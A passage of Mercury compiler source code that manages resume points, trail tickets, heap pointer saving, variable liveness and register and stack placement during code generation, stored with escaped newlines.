llds_instr(label(Label1), \"orig only failure continuation\")\n        ),\n        set_var_locations(Map1, !CI)\n    ;\n        ResumePoint = stack_only(Map1, Addr1),\n        extract_label_from_code_addr(Addr1, Label1),\n        Code = singleton(\n            llds_instr(label(Label1), \"stack only failure continuation\")\n        ),\n        set_var_locations(Map1, !CI),\n        generate_resume_layout(Label1, Map1, !CI)\n    ;\n        ResumePoint = stack_and_orig(Map1, Addr1, Map2, Addr2),\n        extract_label_from_code_addr(Addr1, Label1),\n        extract_label_from_code_addr(Addr2, Label2),\n        Label1Code = singleton(\n            llds_instr(label(Label1), \"stack failure continuation before orig\")\n        ),\n        set_var_locations(Map1, !CI),\n        generate_resume_layout(Label1, Map1, !CI),\n        map.to_assoc_list(Map2, AssocList2),\n        place_resume_vars(AssocList2, PlaceCode, !CI),\n        Label2Code = singleton(\n            llds_instr(label(Label2), \"orig failure continuation after stack\")\n        ),\n        set_var_locations(Map2, !CI),\n        Code = Label1Code ++ PlaceCode ++ Label2Code\n    ;\n        ResumePoint = orig_and_stack(Map1, Addr1, Map2, Addr2),\n        extract_label_from_code_addr(Addr1, Label1),\n        extract_label_from_code_addr(Addr2, Label2),\n        Label1Code = singleton(\n            llds_instr(label(Label1), \"orig failure continuation before stack\")\n        ),\n        set_var_locations(Map1, !CI),\n        map.to_assoc_list(Map2, AssocList2),\n        place_resume_vars(AssocList2, PlaceCode, !CI),\n        Label2Code = singleton(\n            llds_instr(label(Label2), \"stack failure continuation after orig\")\n        ),\n        set_var_locations(Map2, !CI),\n        generate_resume_layout(Label2, Map2, !CI),\n        Code = Label1Code ++ PlaceCode ++ Label2Code\n    ).\n\n:- pred extract_label_from_code_addr(code_addr::in, label::out) is det.\n\nextract_label_from_code_addr(CodeAddr, Label) :-\n    ( CodeAddr = code_label(Label0) ->\n        Label = Label0\n    ;\n        unexpected($module, $pred, \"non-label\")\n    ).\n\n:- pred place_resume_vars(assoc_list(prog_var, set(lval))::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\nplace_resume_vars([], empty, !CI).\nplace_resume_vars([Var - TargetSet | Rest], Code, !CI) :-\n    set.to_sorted_list(TargetSet, Targets),\n    place_resume_var(Var, Targets, FirstCode, !CI),\n    place_resume_vars(Rest, RestCode, !CI),\n    Code = FirstCode ++ RestCode.\n\n:- pred place_resume_var(prog_var::in, list(lval)::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\nplace_resume_var(_Var, [], empty, !CI).\nplace_resume_var(Var, [Target | Targets], Code, !CI) :-\n    place_var(Var, Target, FirstCode, !CI),\n    place_resume_var(Var, Targets, RestCode, !CI),\n    Code = FirstCode ++ RestCode.\n\n    % Reset the code generator's database of what is where.\n    % Remember that the variables in the map are available in their\n    % associated rvals; forget about all other variables.\n    %\n:- pred set_var_locations(resume_map::in,\n    code_info::in, code_info::out) is det.\n\nset_var_locations(Map, !CI) :-\n    map.to_assoc_list(Map, LvalList0),\n    flatten_varlval_list(LvalList0, LvalList),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    reinit_var_locn_state(LvalList, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n:- pred flatten_varlval_list(assoc_list(prog_var, set(lval))::in,\n    assoc_list(prog_var, lval)::out) is det.\n\nflatten_varlval_list([], []).\nflatten_varlval_list([V - Rvals | Rest0], All) :-\n    flatten_varlval_list(Rest0, Rest),\n    set.to_sorted_list(Rvals, RvalList),\n    flatten_varlval_list_2(RvalList, V, Rest1),\n    list.append(Rest1, Rest, All).\n\n:- pred flatten_varlval_list_2(list(lval)::in, prog_var::in,\n    assoc_list(prog_var, lval)::out) is det.\n\nflatten_varlval_list_2([], _V, []).\nflatten_varlval_list_2([R | Rs], V, [V - R | Rest]) :-\n    flatten_varlval_list_2(Rs, V, Rest).\n\nresume_point_vars(ResumePoint, Vars) :-\n    pick_first_resume_point(ResumePoint, ResumeMap, _),\n    map.keys(ResumeMap, Vars).\n\nresume_point_stack_addr(ResumePoint, StackAddr) :-\n    pick_stack_resume_point(ResumePoint, _, StackAddr).\n\n%---------------------------------------------------------------------------%\n\n:- pred maybe_save_trail_info(add_trail_ops::in, maybe(pair(lval))::out,\n    llds_code::out, code_info::in, code_info::out) is det.\n\nmaybe_save_trail_info(AddTrailOps, MaybeTrailSlots, SaveTrailCode, !CI) :-\n    (\n        AddTrailOps = add_trail_ops,\n        acquire_temp_slot(slot_ticket_counter, non_persistent_temp_slot,\n            CounterSlot, !CI),\n        acquire_temp_slot(slot_ticket, non_persistent_temp_slot,\n            TrailPtrSlot, !CI),\n        MaybeTrailSlots = yes(CounterSlot - TrailPtrSlot),\n        SaveTrailCode = from_list([\n            llds_instr(mark_ticket_stack(CounterSlot),\n                \"save the ticket counter\"),\n            llds_instr(store_ticket(TrailPtrSlot),\n                \"save the trail pointer\")\n        ])\n    ;\n        AddTrailOps = do_not_add_trail_ops,\n        MaybeTrailSlots = no,\n        SaveTrailCode = empty\n    ).\n\n:- pred maybe_restore_trail_info(maybe(pair(lval))::in,\n    llds_code::out, llds_code::out, code_info::in, code_info::out) is det.\n\nmaybe_restore_trail_info(MaybeTrailSlots, CommitCode, RestoreCode, !CI) :-\n    (\n        MaybeTrailSlots = no,\n        CommitCode = empty,\n        RestoreCode = empty\n    ;\n        MaybeTrailSlots = yes(CounterSlot - TrailPtrSlot),\n        CommitCode = from_list([\n            llds_instr(reset_ticket(lval(TrailPtrSlot), reset_reason_commit),\n                \"discard trail entries and restore trail ptr\"),\n            llds_instr(prune_tickets_to(lval(CounterSlot)),\n                \"restore ticket counter (but not high water mark)\")\n        ]),\n        RestoreCode = from_list([\n            llds_instr(reset_ticket(lval(TrailPtrSlot), reset_reason_undo),\n                \"apply trail entries and restore trail ptr\"),\n            llds_instr(discard_ticket,\n                \"restore ticket counter and high water mark\")\n        ]),\n        release_temp_slot(CounterSlot, non_persistent_temp_slot, !CI),\n        release_temp_slot(TrailPtrSlot, non_persistent_temp_slot, !CI)\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- pred clone_resume_point(resume_point_info::in,\n    resume_point_info::out, code_info::in, code_info::out) is det.\n\nclone_resume_point(ResumePoint0, ResumePoint, !CI) :-\n    (\n        ResumePoint0 = orig_only(_, _),\n        unexpected($module, $pred, \"cloning orig_only resume point\")\n    ;\n        ResumePoint0 = stack_only(Map1, _),\n        get_next_label(Label1, !CI),\n        Addr1 = code_label(Label1),\n        ResumePoint = stack_only(Map1, Addr1)\n    ;\n        ResumePoint0 = stack_and_orig(Map1, _, Map2, _),\n        get_next_label(Label1, !CI),\n        Addr1 = code_label(Label1),\n        get_next_label(Label2, !CI),\n        Addr2 = code_label(Label2),\n        ResumePoint = stack_and_orig(Map1, Addr1, Map2, Addr2)\n    ;\n        ResumePoint0 = orig_and_stack(Map1, _, Map2, _),\n        get_next_label(Label2, !CI),\n        Addr2 = code_label(Label2),\n        get_next_label(Label1, !CI),\n        Addr1 = code_label(Label1),\n        ResumePoint = stack_and_orig(Map2, Addr2, Map1, Addr1)\n    ).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule to deal with liveness issues.\n\n    % The principles underlying this submodule of code_info.m are\n    % documented in the file compiler/notes/allocation.html.\n\n:- interface.\n\n:- pred add_forward_live_vars(set_of_progvar::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_known_variables(code_info::in, list(prog_var)::out) is det.\n\n:- pred variable_is_forward_live(code_info::in, prog_var::in) is semidet.\n\n:- pred make_vars_forward_dead(set_of_progvar::in,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_make_vars_forward_dead(set_of_progvar::in, bool::in,\n    code_info::in, code_info::out) is det.\n\n:- pred pickup_zombies(set_of_progvar::out,\n    code_info::in, code_info::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\n:- pred rem_forward_live_vars(set_of_progvar::in,\n    code_info::in, code_info::out) is det.\n\n    % Make these variables appear magically live.\n    % We don't care where they are put.\n    %\n:- pred make_vars_forward_live(set_of_progvar::in,\n    code_info::in, code_info::out) is det.\n\nget_known_variables(CI, VarList) :-\n    get_forward_live_vars(CI, ForwardLiveVars),\n    ResumeVars = current_resume_point_vars(CI),\n    set_of_var.union(ForwardLiveVars, ResumeVars, Vars),\n    VarList = set_of_var.to_sorted_list(Vars).\n\nvariable_is_forward_live(CI, Var) :-\n    get_forward_live_vars(CI, Liveness),\n    set_of_var.member(Liveness, Var).\n\nadd_forward_live_vars(Births, !CI) :-\n    get_forward_live_vars(!.CI, Liveness0),\n    set_of_var.union(Liveness0, Births, Liveness),\n    set_forward_live_vars(Liveness, !CI).\n\nrem_forward_live_vars(Deaths, !CI) :-\n    get_forward_live_vars(!.CI, Liveness0),\n    set_of_var.difference(Liveness0, Deaths, Liveness),\n    set_forward_live_vars(Liveness, !CI).\n\nmake_vars_forward_live(Vars, !CI) :-\n    get_stack_slots(!.CI, StackSlots),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    VarList = set_of_var.to_sorted_list(Vars),\n    make_vars_forward_live_2(VarList, StackSlots, 1,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n:- pred make_vars_forward_live_2(list(prog_var)::in,\n    stack_slots::in, int::in, var_locn_info::in, var_locn_info::out)\n    is det.\n\nmake_vars_forward_live_2([], _, _, !VarLocnInfo).\nmake_vars_forward_live_2([Var | Vars], StackSlots, N0, !VarLocnInfo) :-\n    ( map.search(StackSlots, Var, Slot) ->\n        Lval = stack_slot_to_lval(Slot),\n        N1 = N0\n    ;\n        % reg_r is fine since we don't care where the variables are put.\n        RegType = reg_r,\n        find_unused_reg(!.VarLocnInfo, RegType, N0, N1),\n        Lval = reg(RegType, N1)\n    ),\n    var_locn_set_magic_var_location(Var, Lval, !VarLocnInfo),\n    make_vars_forward_live_2(Vars, StackSlots, N1, !VarLocnInfo).\n\n:- pred find_unused_reg(var_locn_info::in, reg_type::in, int::in, int::out)\n    is det.\n\nfind_unused_reg(VLI, RegType, N0, N) :-\n    ( var_locn_lval_in_use(VLI, reg(RegType, N0)) ->\n        find_unused_reg(VLI, RegType, N0 + 1, N)\n    ;\n        N = N0\n    ).\n\nmake_vars_forward_dead(Vars, !CI) :-\n    maybe_make_vars_forward_dead(Vars, yes, !CI).\n\nmaybe_make_vars_forward_dead(Vars0, FirstTime, !CI) :-\n    ResumeVars = current_resume_point_vars(!.CI),\n    set_of_var.intersect(Vars0, ResumeVars, FlushVars),\n    get_zombies(!.CI, Zombies0),\n    set_of_var.union(Zombies0, FlushVars, Zombies),\n    set_zombies(Zombies, !CI),\n    set_of_var.difference(Vars0, Zombies, Vars),\n    VarList = set_of_var.to_sorted_list(Vars),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    maybe_make_vars_forward_dead_2(VarList, FirstTime,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n:- pred maybe_make_vars_forward_dead_2(list(prog_var)::in, bool::in,\n    var_locn_info::in, var_locn_info::out) is det.\n\nmaybe_make_vars_forward_dead_2([], _, !VLI).\nmaybe_make_vars_forward_dead_2([Var | Vars], FirstTime, !VLI) :-\n    var_locn_var_becomes_dead(Var, FirstTime, !VLI),\n    maybe_make_vars_forward_dead_2(Vars, FirstTime, !VLI).\n\npickup_zombies(Zombies, !CI) :-\n    get_zombies(!.CI, Zombies),\n    set_zombies(set_of_var.init, !CI).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for handling the saving and restoration\n    % of trail tickets, heap pointers, stack pointers etc.\n\n:- interface.\n\n:- pred save_hp(llds_code::out, lval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred restore_hp(lval::in, llds_code::out) is det.\n\n:- pred release_hp(lval::in, code_info::in, code_info::out) is det.\n\n:- pred restore_and_release_hp(lval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_save_hp(bool::in, llds_code::out, maybe(lval)::out,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_restore_hp(maybe(lval)::in, llds_code::out) is det.\n\n:- pred maybe_release_hp(maybe(lval)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_restore_and_release_hp(maybe(lval)::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred save_ticket(llds_code::out, lval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred reset_ticket(lval::in, reset_trail_reason::in, llds_code::out) is det.\n\n:- pred release_ticket(lval::in, code_info::in, code_info::out) is det.\n\n:- pred reset_and_prune_ticket(lval::in, reset_trail_reason::in,\n    llds_code::out) is det.\n\n:- pred reset_prune_and_release_ticket(lval::in, reset_trail_reason::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred reset_and_discard_ticket(lval::in, reset_trail_reason::in,\n    llds_code::out) is det.\n\n:- pred reset_discard_and_release_ticket(lval::in, reset_trail_reason::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred discard_and_release_ticket(lval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_save_ticket(add_trail_ops::in, llds_code::out,\n    maybe(lval)::out, code_info::in, code_info::out) is det.\n\n:- pred maybe_reset_ticket(maybe(lval)::in, reset_trail_reason::in,\n    llds_code::out) is det.\n\n:- pred maybe_release_ticket(maybe(lval)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred maybe_reset_and_prune_ticket(maybe(lval)::in,\n    reset_trail_reason::in, llds_code::out) is det.\n\n:- pred maybe_reset_prune_and_release_ticket(maybe(lval)::in,\n    reset_trail_reason::in, llds_code::out, code_info::in, code_info::out)\n    is det.\n\n:- pred maybe_reset_and_discard_ticket(maybe(lval)::in,\n    reset_trail_reason::in, llds_code::out) is det.\n\n:- pred maybe_reset_discard_and_release_ticket(maybe(lval)::in,\n    reset_trail_reason::in, llds_code::out, code_info::in, code_info::out)\n    is det.\n\n:- pred maybe_discard_and_release_ticket(maybe(lval)::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n    % Should we add trail ops to the code we generate for the goal with the\n    % given goal_info.  This will be 'no' unless we are in a trailing grade.\n    %\n:- func should_add_trail_ops(code_info, hlds_goal_info) = add_trail_ops.\n\n    % Should we add region ops to the code we generate for the goal with the\n    % given goal_info.  This will be 'no' unless we are in a rbmm grade.\n    %\n:- func should_add_region_ops(code_info, hlds_goal_info) = add_region_ops.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\nsave_hp(Code, HpSlot, !CI) :-\n    acquire_temp_slot(slot_lval(hp), non_persistent_temp_slot, HpSlot, !CI),\n    Code = singleton(\n        llds_instr(mark_hp(HpSlot), \"Save heap pointer\")\n    ).\n\nrestore_hp(HpSlot, Code) :-\n    Code = singleton(\n        llds_instr(restore_hp(lval(HpSlot)), \"Restore heap pointer\")\n    ).\n\nrelease_hp(HpSlot, !CI) :-\n    release_temp_slot(HpSlot, non_persistent_temp_slot, !CI).\n\nrestore_and_release_hp(HpSlot, Code, !CI) :-\n    restore_hp(HpSlot, Code),\n    release_hp(HpSlot, !CI).\n\n%---------------------------------------------------------------------------%\n\nmaybe_save_hp(Maybe, Code, MaybeHpSlot, !CI) :-\n    (\n        Maybe = yes,\n        save_hp(Code, HpSlot, !CI),\n        MaybeHpSlot = yes(HpSlot)\n    ;\n        Maybe = no,\n        Code = empty,\n        MaybeHpSlot = no\n    ).\n\nmaybe_restore_hp(MaybeHpSlot, Code) :-\n    (\n        MaybeHpSlot = yes(HpSlot),\n        restore_hp(HpSlot, Code)\n    ;\n        MaybeHpSlot = no,\n        Code = empty\n    ).\n\nmaybe_release_hp(MaybeHpSlot, !CI) :-\n    (\n        MaybeHpSlot = yes(HpSlot),\n        release_hp(HpSlot, !CI)\n    ;\n        MaybeHpSlot = no\n    ).\n\nmaybe_restore_and_release_hp(MaybeHpSlot, Code, !CI) :-\n    (\n        MaybeHpSlot = yes(HpSlot),\n        restore_and_release_hp(HpSlot, Code, !CI)\n    ;\n        MaybeHpSlot = no,\n        Code = empty\n    ).\n\n%---------------------------------------------------------------------------%\n\nsave_ticket(Code, TicketSlot, !CI) :-\n    acquire_temp_slot(slot_ticket, non_persistent_temp_slot, TicketSlot, !CI),\n    Code = singleton(\n        llds_instr(store_ticket(TicketSlot), \"Save trail state\")\n    ).\n\nreset_ticket(TicketSlot, Reason, Code) :-\n    Code = singleton(\n        llds_instr(reset_ticket(lval(TicketSlot), Reason), \"Reset trail\")\n    ).\n\nrelease_ticket(TicketSlot, !CI) :-\n    release_temp_slot(TicketSlot, non_persistent_temp_slot, !CI).\n\nreset_and_prune_ticket(TicketSlot, Reason, Code) :-\n    Code = from_list([\n        llds_instr(reset_ticket(lval(TicketSlot), Reason), \"Restore trail\"),\n        llds_instr(prune_ticket, \"Prune ticket stack\")\n    ]).\n\nreset_prune_and_release_ticket(TicketSlot, Reason, Code, !CI) :-\n    Code = from_list([\n        llds_instr(reset_ticket(lval(TicketSlot), Reason), \"Release trail\"),\n        llds_instr(prune_ticket, \"Prune ticket stack\")\n    ]),\n    release_temp_slot(TicketSlot, non_persistent_temp_slot, !CI).\n\nreset_and_discard_ticket(TicketSlot, Reason, Code) :-\n    Code = from_list([\n        llds_instr(reset_ticket(lval(TicketSlot), Reason), \"Restore trail\"),\n        llds_instr(discard_ticket, \"Pop ticket stack\")\n    ]).\n\nreset_discard_and_release_ticket(TicketSlot, Reason, Code, !CI) :-\n    Code = from_list([\n        llds_instr(reset_ticket(lval(TicketSlot), Reason), \"Release trail\"),\n        llds_instr(discard_ticket, \"Pop ticket stack\")\n    ]),\n    release_temp_slot(TicketSlot, non_persistent_temp_slot, !CI).\n\ndiscard_and_release_ticket(TicketSlot, Code, !CI) :-\n    Code = singleton(\n        llds_instr(discard_ticket, \"Pop ticket stack\")\n    ),\n    release_temp_slot(TicketSlot, non_persistent_temp_slot, !CI).\n\n%---------------------------------------------------------------------------%\n\nmaybe_save_ticket(AddTrailOps, Code, MaybeTicketSlot, !CI) :-\n    (\n        AddTrailOps = add_trail_ops,\n        save_ticket(Code, TicketSlot, !CI),\n        MaybeTicketSlot = yes(TicketSlot)\n    ;\n        AddTrailOps = do_not_add_trail_ops,\n        Code = empty,\n        MaybeTicketSlot = no\n    ).\n\nmaybe_reset_ticket(MaybeTicketSlot, Reason, Code) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        reset_ticket(TicketSlot, Reason, Code)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\nmaybe_release_ticket(MaybeTicketSlot, !CI) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        release_ticket(TicketSlot, !CI)\n    ;\n        MaybeTicketSlot = no\n    ).\n\nmaybe_reset_and_prune_ticket(MaybeTicketSlot, Reason, Code) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        reset_and_prune_ticket(TicketSlot, Reason, Code)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\nmaybe_reset_prune_and_release_ticket(MaybeTicketSlot, Reason,\n        Code, !CI) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        reset_prune_and_release_ticket(TicketSlot, Reason,\n            Code, !CI)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\nmaybe_reset_and_discard_ticket(MaybeTicketSlot, Reason, Code) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        reset_and_discard_ticket(TicketSlot, Reason, Code)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\nmaybe_reset_discard_and_release_ticket(MaybeTicketSlot, Reason,\n        Code, !CI) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        reset_discard_and_release_ticket(TicketSlot, Reason,\n            Code, !CI)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\nmaybe_discard_and_release_ticket(MaybeTicketSlot, Code, !CI) :-\n    (\n        MaybeTicketSlot = yes(TicketSlot),\n        discard_and_release_ticket(TicketSlot, Code, !CI)\n    ;\n        MaybeTicketSlot = no,\n        Code = empty\n    ).\n\n    % XXX We will eventually need to make use of GoalInfo here.\n    %\nshould_add_trail_ops(CodeInfo, _GoalInfo) = AddTrailOps :-\n    get_emit_trail_ops(CodeInfo, AddTrailOps).\n\n    % XXX We will eventually need to make use of GoalInfo here.\n    %\nshould_add_region_ops(CodeInfo, _GoalInfo) = AddRegionOps :-\n    get_emit_region_ops(CodeInfo, AddRegionOps).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule to deal with var_locn.\n\n    % Most of these procedures just forward to the var_locn module.\n    % See var_locn for documentation.\n\n:- interface.\n\n:- pred variable_locations(code_info::in,\n    map(prog_var, set(lval))::out) is det.\n\n:- pred set_var_location(prog_var::in, lval::in,\n    code_info::in, code_info::out) is det.\n\n:- pred assign_var_to_var(prog_var::in, prog_var::in,\n    code_info::in, code_info::out) is det.\n\n:- pred assign_lval_to_var(prog_var::in, lval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred assign_const_to_var(prog_var::in, rval::in,\n    code_info::in, code_info::out) is det.\n\n:- pred assign_expr_to_var(prog_var::in, rval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred reassign_mkword_hole_var(prog_var::in, tag::in, rval::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred assign_field_lval_expr_to_var(prog_var::in, list(lval)::in, rval::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n    % assign_cell_to_var(Var, ReserveWordAtStart, Ptag, MaybeRvals,\n    %   AllFilled, MaybeSize, FieldAddrs, TypeMsg, MayUseAtomic, Where,\n    %   Code, !CI).\n    %\n:- pred assign_cell_to_var(prog_var::in, bool::in, tag::in,\n    list(cell_arg)::in, how_to_construct::in, maybe(term_size_value)::in,\n    maybe(alloc_site_id)::in, may_use_atomic_alloc::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred save_reused_cell_fields(prog_var::in, lval::in, llds_code::out,\n    list(lval)::out, code_info::in, code_info::out) is det.\n\n:- pred place_var(prog_var::in, lval::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred produce_variable(prog_var::in, llds_code::out, rval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred produce_variable_in_reg(prog_var::in, llds_code::out,\n    lval::out, code_info::in, code_info::out) is det.\n\n:- pred produce_variable_in_reg_or_stack(prog_var::in,\n    llds_code::out, lval::out, code_info::in, code_info::out) is det.\n\n:- pred materialize_vars_in_lval(lval::in, lval::out,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred acquire_reg_for_var(prog_var::in, reg_type::in, lval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred acquire_reg_not_in_storemap(abs_store_map::in, reg_type::in, lval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred acquire_reg(reg_type::in, lval::out,\n    code_info::in, code_info::out) is det.\n\n:- pred release_reg(lval::in, code_info::in, code_info::out) is det.\n\n:- pred reserve_r1(llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred clear_r1(llds_code::out, code_info::in, code_info::out) is det.\n\n:- type call_direction\n    --->    caller\n    ;       callee.\n\n    % Move variables to where they need to be at the time of the call:\n    %\n    % - The variables that need to be saved across the call (either because\n    %   they are forward live after the call or because they are protected\n    %   by an enclosing resumption point) will be saved on the stack.\n    %   Note that if the call cannot succeed and the trace level is none,\n    %   then no variables need to be saved across the call. (If the call\n    %   cannot succeed but the trace level is not none, then we still\n    %   save the usual variables on the stack to make them available\n    %   for up-level printing in the debugger.)\n    %\n    % - The input arguments will be moved to their registers.\n    %\n:- pred setup_call(hlds_goal_info::in, assoc_list(prog_var, arg_info)::in,\n    set(lval)::out, llds_code::out, code_info::in, code_info::out) is det.\n\n    % Move the output arguments of the current procedure to where\n    % they need to be at return.\n    %\n:- pred setup_return(assoc_list(prog_var, arg_info)::in,\n    set(lval)::out, llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred lock_regs(int::in, int::in, assoc_list(prog_var, lval)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred unlock_regs(code_info::in, code_info::out) is det.\n\n    % Record the fact that all the registers have been clobbered (as by a\n    % call). If the bool argument is true, then the call cannot return, and\n    % thus it is OK for this action to delete the last record of the state\n    % of a variable.\n    %\n:- pred clear_all_registers(bool::in, code_info::in, code_info::out) is det.\n\n:- pred clobber_regs(list(lval)::in, code_info::in, code_info::out) is det.\n\n:- pred save_variables(set_of_progvar::in, set(lval)::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred save_variables_on_stack(list(prog_var)::in, llds_code::out,\n    code_info::in, code_info::out) is det.\n\n:- pred max_reg_in_use(code_info::in, int::out, int::out) is det.\n\n:- pred magically_put_var_in_unused_reg(prog_var::in,\n    code_info::in, code_info::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\nvariable_locations(CI, Lvals) :-\n    get_var_locn_info(CI, VarLocnInfo),\n    var_locn_get_var_locations(VarLocnInfo, Lvals).\n\n:- func rval_map_to_lval_map(prog_var, set(rval)) = set(lval).\n\nrval_map_to_lval_map(_Var, Rvals) =\n    set.filter_map(rval_is_lval, Rvals).\n\n:- func rval_is_lval(rval) = lval is semidet.\n\nrval_is_lval(lval(Lval)) = Lval.\n\nset_var_location(Var, Lval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_check_and_set_magic_var_location(Var, Lval,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nassign_var_to_var(Var, AssignedVar, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_assign_var_to_var(Var, AssignedVar, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nassign_lval_to_var(Var, Lval, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_static_cell_info(!.CI, StaticCellInfo),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_assign_lval_to_var(ModuleInfo, Var, Lval,\n        StaticCellInfo, Code, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nassign_const_to_var(Var, ConstRval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_exprn_opts(!.CI, ExprnOpts),\n    var_locn_assign_const_to_var(ExprnOpts, Var, ConstRval,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nassign_expr_to_var(Var, Rval, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    Lvals = lvals_in_rval(Rval),\n    (\n        Lvals = [],\n        var_locn_assign_expr_to_var(Var, Rval, Code,\n            VarLocnInfo0, VarLocnInfo)\n    ;\n        Lvals = [_ | _],\n        unexpected($module, $pred, \"non-var lvals\")\n    ),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nreassign_mkword_hole_var(Var, Ptag, Rval, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    Lvals = lvals_in_rval(Rval),\n    (\n        Lvals = [],\n        var_locn_reassign_mkword_hole_var(Var, Ptag, Rval, Code,\n            VarLocnInfo0, VarLocnInfo)\n    ;\n        Lvals = [_ | _],\n        unexpected($module, $pred, \"non-var lvals\")\n    ),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nassign_field_lval_expr_to_var(Var, FieldLvals, Rval, Code, !CI) :-\n    (\n        FieldLvals = [field(MaybeTag, var(BaseVar), _) | RestFieldLvals],\n        list.all_true(is_var_field(MaybeTag, BaseVar), RestFieldLvals)\n    ->\n        (\n            Lvals = lvals_in_rval(Rval),\n            all [Lval] (\n                list.member(Lval, Lvals)\n            =>\n                list.member(Lval, FieldLvals)\n            )\n        ->\n            get_var_locn_info(!.CI, VarLocnInfo0),\n            var_locn_assign_field_lval_expr_to_var(Var, BaseVar, Rval, Code,\n                VarLocnInfo0, VarLocnInfo),\n            set_var_locn_info(VarLocnInfo, !CI)\n        ;\n            unexpected($module, $pred, \"rval contains unexpected lval\")\n        )\n    ;\n        unexpected($module, $pred,\n            \"FieldLvals not all fields of the same base variable\")\n    ).\n\n:- pred is_var_field(maybe(tag)::in, prog_var::in, lval::in) is semidet.\n\nis_var_field(MaybeTag, Var, field(MaybeTag, var(Var), _)).\n\nassign_cell_to_var(Var, ReserveWordAtStart, Ptag, CellArgs, HowToConstruct,\n        MaybeSize, MaybeAllocId, MayUseAtomic, Code, !CI) :-\n    get_next_label(Label, !CI),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_static_cell_info(!.CI, StaticCellInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    get_exprn_opts(!.CI, ExprnOpts),\n    var_locn_assign_cell_to_var(ModuleInfo, ExprnOpts, Var, ReserveWordAtStart,\n        Ptag, CellArgs, HowToConstruct, MaybeSize, MaybeAllocId, MayUseAtomic,\n        Label, Code, StaticCellInfo0, StaticCellInfo,\n        VarLocnInfo0, VarLocnInfo),\n    set_static_cell_info(StaticCellInfo, !CI),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nsave_reused_cell_fields(Var, Lval, Code, Regs, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_save_cell_fields(ModuleInfo, Var, Lval, Code, Regs,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nplace_var(Var, Lval, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, 